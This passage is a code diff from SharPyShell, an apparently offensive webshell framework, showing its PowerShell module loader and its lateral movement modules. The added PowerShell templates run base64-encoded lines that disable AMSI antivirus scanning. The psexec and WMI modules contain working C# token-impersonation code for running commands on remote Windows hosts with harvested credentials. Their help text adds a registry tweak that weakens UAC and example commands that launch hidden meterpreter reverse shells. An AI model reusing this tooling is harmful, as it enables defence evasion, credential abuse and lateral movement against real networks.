thread_timeout, code_offset)
|
||||
else:
|
||||
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode,
|
||||
thread_parameters, remote_process,
|
||||
thread_timeout, code_offset)
|
||||
return runtime_code
|
||||
@@ -37,7 +37,9 @@ class Invoke_ps_module(Module):
|
||||
#invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
|
||||
"""
|
||||
|
||||
_ps_code = ur"""
|
||||
_ps_code = r"""
|
||||
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw=="))|IEX;
|
||||
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw=="))|IEX;
|
||||
$path_in_module="%s";
|
||||
$path_in_app_code="%s";
|
||||
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
||||
@@ -57,7 +59,9 @@ class Invoke_ps_module(Module):
|
||||
Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
|
||||
"""
|
||||
|
||||
_ps_code_no_appended_code = ur"""
|
||||
_ps_code_no_appended_code = r"""
|
||||
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZj1bUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLkFtcycrJ2lVdGlscycpOw==")) | IEX;
|
||||
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("JFJlZi5HZXRGaWVsZCgnYW1zaUluJysnaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJykuU2V0VmFsdWUoJG51bGwsJHRydWUpOw==")) | IEX;
|
||||
$path_in="%s";
|
||||
$key=[System.Text.Encoding]::UTF8.GetBytes('%s');
|
||||
$encrypted=[System.IO.File]::ReadAllBytes($path_in);
|
||||
@@ -105,8 +109,10 @@ class Invoke_ps_module(Module):
|
||||
def _gen_appended_code(self, appended_code):
|
||||
if appended_code == '':
|
||||
return ''
|
||||
if '""' in appended_code:
|
||||
appended_code = appended_code.replace('""', '"')
|
||||
enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator()
|
||||
byte_arr_app_module_encrypted = bytearray(appended_code)
|
||||
byte_arr_app_module_encrypted = bytearray(appended_code, 'utf-8')
|
||||
self.__xor_bytearray(byte_arr_app_module_encrypted)
|
||||
with open(enc_appended_code_path, 'wb') as file_handle:
|
||||
file_handle.write(byte_arr_app_module_encrypted)
|
||||
@@ -125,12 +131,12 @@ class Invoke_ps_module(Module):
|
||||
encrypted_module_path = self._module_settings[ps_module]
|
||||
else:
|
||||
local_encrypted_module_path = self._gen_encrypted_module(ps_module)
|
||||
print '\n\n\nUploading encrypted ps module....\n'
|
||||
print ('\n\n\nUploading encrypted ps module....\n')
|
||||
try:
|
||||
encrypted_module_path = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
upload_response = self._parse_response(self.upload_module_object.run([local_encrypted_module_path,
|
||||
encrypted_module_path]))
|
||||
print upload_response
|
||||
print (upload_response)
|
||||
self._module_settings[ps_module] = encrypted_module_path
|
||||
except Exception as exc:
|
||||
raise self._exception_class(str(exc))
|
||||
|
||||
@@ -1,365 +0,0 @@
|
||||
from core import config
|
||||
from core.Module import Module, ModuleException
|
||||
from modules.upload import Upload
|
||||
from utils.random_string import random_generator
|
||||
import traceback
|
||||
|
||||
|
||||
class LateralPsexecModuleException(ModuleException):
|
||||
pass
|
||||
|
||||
|
||||
class Lateral_psexec(Module):
|
||||
_exception_class = LateralPsexecModuleException
|
||||
short_help = "Run psexec binary to move laterally"
|
||||
complete_help = r"""
|
||||
This module upload and run the psexec binary in order to launch commands on a remote windows system.
|
||||
This will result in a lateral movement if shared credentials are known.
|
||||
|
||||
Note that if you use local users credentials you should ensure that, on the target server, the feature
|
||||
"LocalAccountTokenFilterPolicy" is disabled.
|
||||
To disable that you need to add the following regkey with the value of 1:
|
||||
|
||||
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
|
||||
|
||||
example command:
|
||||
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
|
||||
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
|
||||
|
||||
This module should be run from a privileged user.
|
||||
If the application pool within the web application you are interacting with is run with application pool
|
||||
identity account or any limited account you won't be able to move laterally to other systems
|
||||
due to restrictions applied to the user.
|
||||
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
|
||||
|
||||
Usage:
|
||||
#lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
|
||||
|
||||
Positional arguments:
|
||||
target_ip the ip of the remote server
|
||||
username username of the user to use to login on the target server
|
||||
you can specify domain\username if user is in a domain
|
||||
password password of the user to use to login on the target server
|
||||
command a command compatible by cmd.exe
|
||||
[runas_system] if set to 'true', it will try to run psexec as system on the target remote server
|
||||
Default: 'false'
|
||||
[local_user] the username of a local user with privileged rights
|
||||
[local_password] the password of a local user with privileged rights
|
||||
[local_domain] the domain of a local user with privileged rights
|
||||
|
||||
Examples:
|
||||
Lateral movement as privileged current application pool user, output to local shared resource:
|
||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
|
||||
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
|
||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1'
|
||||
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
|
||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
||||
Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd):
|
||||
#lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
||||
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
string LateralPsexec(string psexec_path, string arg, string working_path)
|
||||
{
|
||||
ProcessStartInfo pinfo = new ProcessStartInfo();
|
||||
pinfo.FileName = psexec_path;
|
||||
pinfo.Arguments = arg;
|
||||
pinfo.RedirectStandardOutput = true;
|
||||
pinfo.RedirectStandardError = true;
|
||||
pinfo.UseShellExecute = false;
|
||||
pinfo.WorkingDirectory = working_path;
|
||||
Process p = new Process();
|
||||
try{
|
||||
p = Process.Start(pinfo);
|
||||
}
|
||||
catch (Exception e){
|
||||
return "{{{SharPyShellError}}}\n" + e;
|
||||
}
|
||||
StreamReader stmrdr_output = p.StandardOutput;
|
||||
StreamReader stmrdr_errors = p.StandardError;
|
||||
string output = "";
|
||||
string stand_out = stmrdr_output.ReadToEnd();
|
||||
string stand_errors = stmrdr_errors.ReadToEnd();
|
||||
stmrdr_output.Close();
|
||||
stmrdr_errors.Close();
|
||||
if (!String.IsNullOrEmpty(stand_out))
|
||||
output = output + stand_out;
|
||||
if (!String.IsNullOrEmpty(stand_errors))
|
||||
output = output + "\n\n" + stand_errors + "\n";
|
||||
return output;
|
||||
}
|
||||
|
||||
public byte[] ExecRuntime()
|
||||
{
|
||||
string output_func=LateralPsexec(@"%s", @"%s", @"%s");
|
||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
||||
return(output_func_byte);
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
_runtime_code_runas = ur"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
||||
|
||||
public class SharPyShell
|
||||
{
|
||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private SafeTokenHandle()
|
||||
: base(true)
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
protected override bool ReleaseHandle()
|
||||
{
|
||||
return CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
const uint WAIT_ABANDONED = 0x00000080;
|
||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
const uint WAIT_TIMEOUT = 0x00000102;
|
||||
|
||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
||||
public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory)
|
||||
{
|
||||
SafeTokenHandle safeTokenHandle;
|
||||
int logon_type = 4;
|
||||
uint process_ms_timeout = 60000;
|
||||
string output = "";
|
||||
string error_string = "{{{SharPyShellError}}}";
|
||||
try
|
||||
{
|
||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
||||
if (false == returnValue)
|
||||
{
|
||||
output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
using (safeTokenHandle)
|
||||
{
|
||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
||||
{
|
||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
||||
{
|
||||
IntPtr Token = new IntPtr(0);
|
||||
IntPtr DupedToken = new IntPtr(0);
|
||||
bool ret;
|
||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
||||
sa.bInheritHandle = false;
|
||||
sa.Length = Marshal.SizeOf(sa);
|
||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
||||
Token = WindowsIdentity.GetCurrent().Token;
|
||||
const uint GENERIC_ALL = 0x10000000;
|
||||
const int SecurityImpersonation = 2;
|
||||
const int TokenType = 1;
|
||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
||||
if (ret == false){
|
||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "";
|
||||
string commandLinePath = "";
|
||||
File.Create(stdout_file).Dispose();
|
||||
File.Create(stderr_file).Dispose();
|
||||
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
|
||||
commandLinePath = cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
||||
if (ret == false){
|
||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
else{
|
||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
||||
if(wait_for == WAIT_OBJECT_0){
|
||||
string errors = File.ReadAllText(stderr_file);
|
||||
if (!String.IsNullOrEmpty(errors))
|
||||
output += "\n" + errors;
|
||||
output += "\n" + File.ReadAllText(stdout_file);
|
||||
}
|
||||
else{
|
||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
||||
}
|
||||
File.Delete(stdout_file);
|
||||
File.Delete(stderr_file);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
CloseHandle(DupedToken);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
output += error_string + "\nException occurred. " + ex.Message;
|
||||
return output;
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
public byte[] ExecRuntime()
|
||||
{
|
||||
string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
|
||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
||||
return(output_func_byte);
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
__default_runas_system = 'false'
|
||||
__default_local_user = ''
|
||||
__default_local_password = ''
|
||||
__default_local_domain = ''
|
||||
__psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""'
|
||||
|
||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
||||
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
||||
|
||||
def __lookup_psexec_binary(self):
|
||||
if 'psexec.exe' in self._module_settings.keys():
|
||||
bin_path = self._module_settings['psexec.exe']
|
||||
else:
|
||||
exe_path = config.modules_paths + 'exe_modules/psexec.exe'
|
||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
||||
print '\n\n\nUploading psexec binary....\n'
|
||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
||||
print upload_response
|
||||
self._module_settings['psexec.exe'] = remote_upload_path
|
||||
bin_path = remote_upload_path
|
||||
return bin_path
|
||||
|
||||
def __run_as_current_user(self, psexec_path, psexec_code_arguments):
|
||||
request = self._create_request([psexec_code_arguments, psexec_path, 'current_user'])
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
return decrypted_response
|
||||
|
||||
def __run_as(self, psexec_path, psexec_code_arguments, local_user, local_password, local_domain):
|
||||
request = self._create_request([[psexec_code_arguments, local_user, local_password, local_domain],
|
||||
psexec_path, 'runas'])
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
return decrypted_response
|
||||
|
||||
def __parse_run_args(self, args):
|
||||
if len(args) < 4:
|
||||
raise self._exception_class('#lateral_psexec: Not enough arguments. 4 Arguments required.\n')
|
||||
args_parser = {k: v for k, v in enumerate(args)}
|
||||
target_ip = args_parser.get(0)
|
||||
username = args_parser.get(1)
|
||||
password = args_parser.get(2)
|
||||
command = args_parser.get(3)
|
||||
runas_system = args_parser.get(4, self.__default_runas_system)
|
||||
local_user = args_parser.get(5, self.__default_local_user)
|
||||
local_password = args_parser.get(6, self.__default_local_password)
|
||||
local_domain = args_parser.get(7, self.__default_local_domain)
|
||||
return target_ip, username, password, command, runas_system, local_user, local_password, local_domain
|
||||
|
||||
def _create_request(self, args):
|
||||
arguments, psexec_path, request_type = args
|
||||
working_path = self._module_settings['working_directory']
|
||||
if request_type == 'runas':
|
||||
psexec_code_arguments, local_user, local_password, local_domain = arguments
|
||||
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
request = self._runtime_code_runas % (psexec_path, local_user, local_password, local_domain,
|
||||
psexec_code_arguments, stdout_file, stderr_file, working_path)
|
||||
else:
|
||||
psexec_code_arguments = arguments
|
||||
request = self._runtime_code % (psexec_path, psexec_code_arguments, working_path)
|
||||
return request
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
target_ip, username, password, command, runas_system,\
|
||||
local_user, local_password, local_domain = self.__parse_run_args(args)
|
||||
psexec_priv_flag = '-s' if runas_system == 'true' else '-h'
|
||||
psexec_code_arguments = self.__psexec_code_arguments % (target_ip, username,
|
||||
password, psexec_priv_flag, command)
|
||||
psexec_path = self.__lookup_psexec_binary()
|
||||
if local_user == '':
|
||||
response = self.__run_as_current_user(psexec_path, psexec_code_arguments)
|
||||
else:
|
||||
response = self.__run_as(psexec_path, psexec_code_arguments, local_user, local_password, local_domain)
|
||||
parsed_response = self._parse_response(response)
|
||||
except ModuleException as module_exc:
|
||||
parsed_response = str(module_exc)
|
||||
except Exception:
|
||||
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
|
||||
str(traceback.format_exc())
|
||||
return parsed_response
|
||||
+14
-226
@@ -14,8 +14,8 @@ class Lateral_wmi(Module):
|
||||
This module run a wmic /node:[ip] command in order to launch commands on a remote windows system.
|
||||
This will result in a lateral movement if shared credentials are known.
|
||||
|
||||
Note that if you use local users credentials you should ensure that, on the target server, the feature
|
||||
"LocalAccountTokenFilterPolicy" is disabled.
|
||||
Note that if you use local admin credentials you should ensure that, on the target server, the feature
|
||||
"LocalAccountTokenFilterPolicy" is disabled. (except for builtin Administrator)
|
||||
To disable that you need to add the following regkey with the value of 1:
|
||||
|
||||
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
|
||||
@@ -24,16 +24,11 @@ class Lateral_wmi(Module):
|
||||
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
||||
|
||||
If you use domain users for the lateral movement, no restrictions to the process token will be applied.
|
||||
Remember to always specify the domain in the username field. If you use a local account use the machine name as the domain.
|
||||
|
||||
This module uses WMI builtin features wmi and doesn't need additional files to be droppend on the target
|
||||
server.
|
||||
|
||||
Moreover this module should be run from a privileged user.
|
||||
If the application pool within the web application you are interacting with is run with application pool
|
||||
identity account or any limited account you won't be able to move laterally to other systems
|
||||
due to restrictions applied to the user.
|
||||
In those cases, you need to use different credentials of a more privileged user in order to launch this module.
|
||||
|
||||
Note that, wmi commands don't return stdout/stderr output from the execution of remote processes.
|
||||
You should redirect output to a shared resource (i.e. local share with everyone permission) or just spawn
|
||||
reverse/bind shell.
|
||||
@@ -47,21 +42,14 @@ class Lateral_wmi(Module):
|
||||
you can specify domain\username if user is in a domain
|
||||
password password of the user to use to login on the target server
|
||||
command a command compatible by cmd.exe
|
||||
[local_user] the username of a local user with privileged rights
|
||||
[local_password] the password of a local user with privileged rights
|
||||
[local_domain] the domain of a local user with privileged rights
|
||||
|
||||
Examples:
|
||||
Lateral movement as privileged current application pool user, output to local shared resource:
|
||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt'
|
||||
Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
|
||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'local_privileged_user1' 'local_privileged_password1'
|
||||
Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
|
||||
#lateral_wmi 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
|
||||
|
||||
#lateral_wmi 192.168.56.102 'domain\remote_user1' 'remote_password1' 'whoami /all > C:\Windows\Temp\whoami.txt'
|
||||
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
@@ -104,196 +92,10 @@ class Lateral_wmi(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
_runtime_code_runas = ur"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
||||
|
||||
public class SharPyShell
|
||||
{
|
||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private SafeTokenHandle()
|
||||
: base(true)
|
||||
{
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
protected override bool ReleaseHandle()
|
||||
{
|
||||
return CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
const uint WAIT_ABANDONED = 0x00000080;
|
||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
const uint WAIT_TIMEOUT = 0x00000102;
|
||||
|
||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
||||
public string LateralWMIRunas(string userName, string password, string domainName, string wmi_arguments, string stdout_file, string stderr_file, string working_directory)
|
||||
{
|
||||
SafeTokenHandle safeTokenHandle;
|
||||
int logon_type = 4;
|
||||
uint process_ms_timeout = 60000;
|
||||
string output = "";
|
||||
string error_string = "{{{SharPyShellError}}}";
|
||||
try
|
||||
{
|
||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
||||
if (false == returnValue)
|
||||
{
|
||||
output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
using (safeTokenHandle)
|
||||
{
|
||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
||||
{
|
||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
||||
{
|
||||
IntPtr Token = new IntPtr(0);
|
||||
IntPtr DupedToken = new IntPtr(0);
|
||||
bool ret;
|
||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
||||
sa.bInheritHandle = false;
|
||||
sa.Length = Marshal.SizeOf(sa);
|
||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
||||
Token = WindowsIdentity.GetCurrent().Token;
|
||||
const uint GENERIC_ALL = 0x10000000;
|
||||
const int SecurityImpersonation = 2;
|
||||
const int TokenType = 1;
|
||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
||||
if (ret == false){
|
||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "";
|
||||
string commandLinePath = "";
|
||||
File.Create(stdout_file).Dispose();
|
||||
File.Create(stderr_file).Dispose();
|
||||
string cmd_path = commandLinePath = Environment.GetEnvironmentVariable("ComSpec");
|
||||
string wmic_path = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\system32\\wbem\\wmic.exe";
|
||||
commandLinePath = cmd_path + " /c " + wmic_path + " " + wmi_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
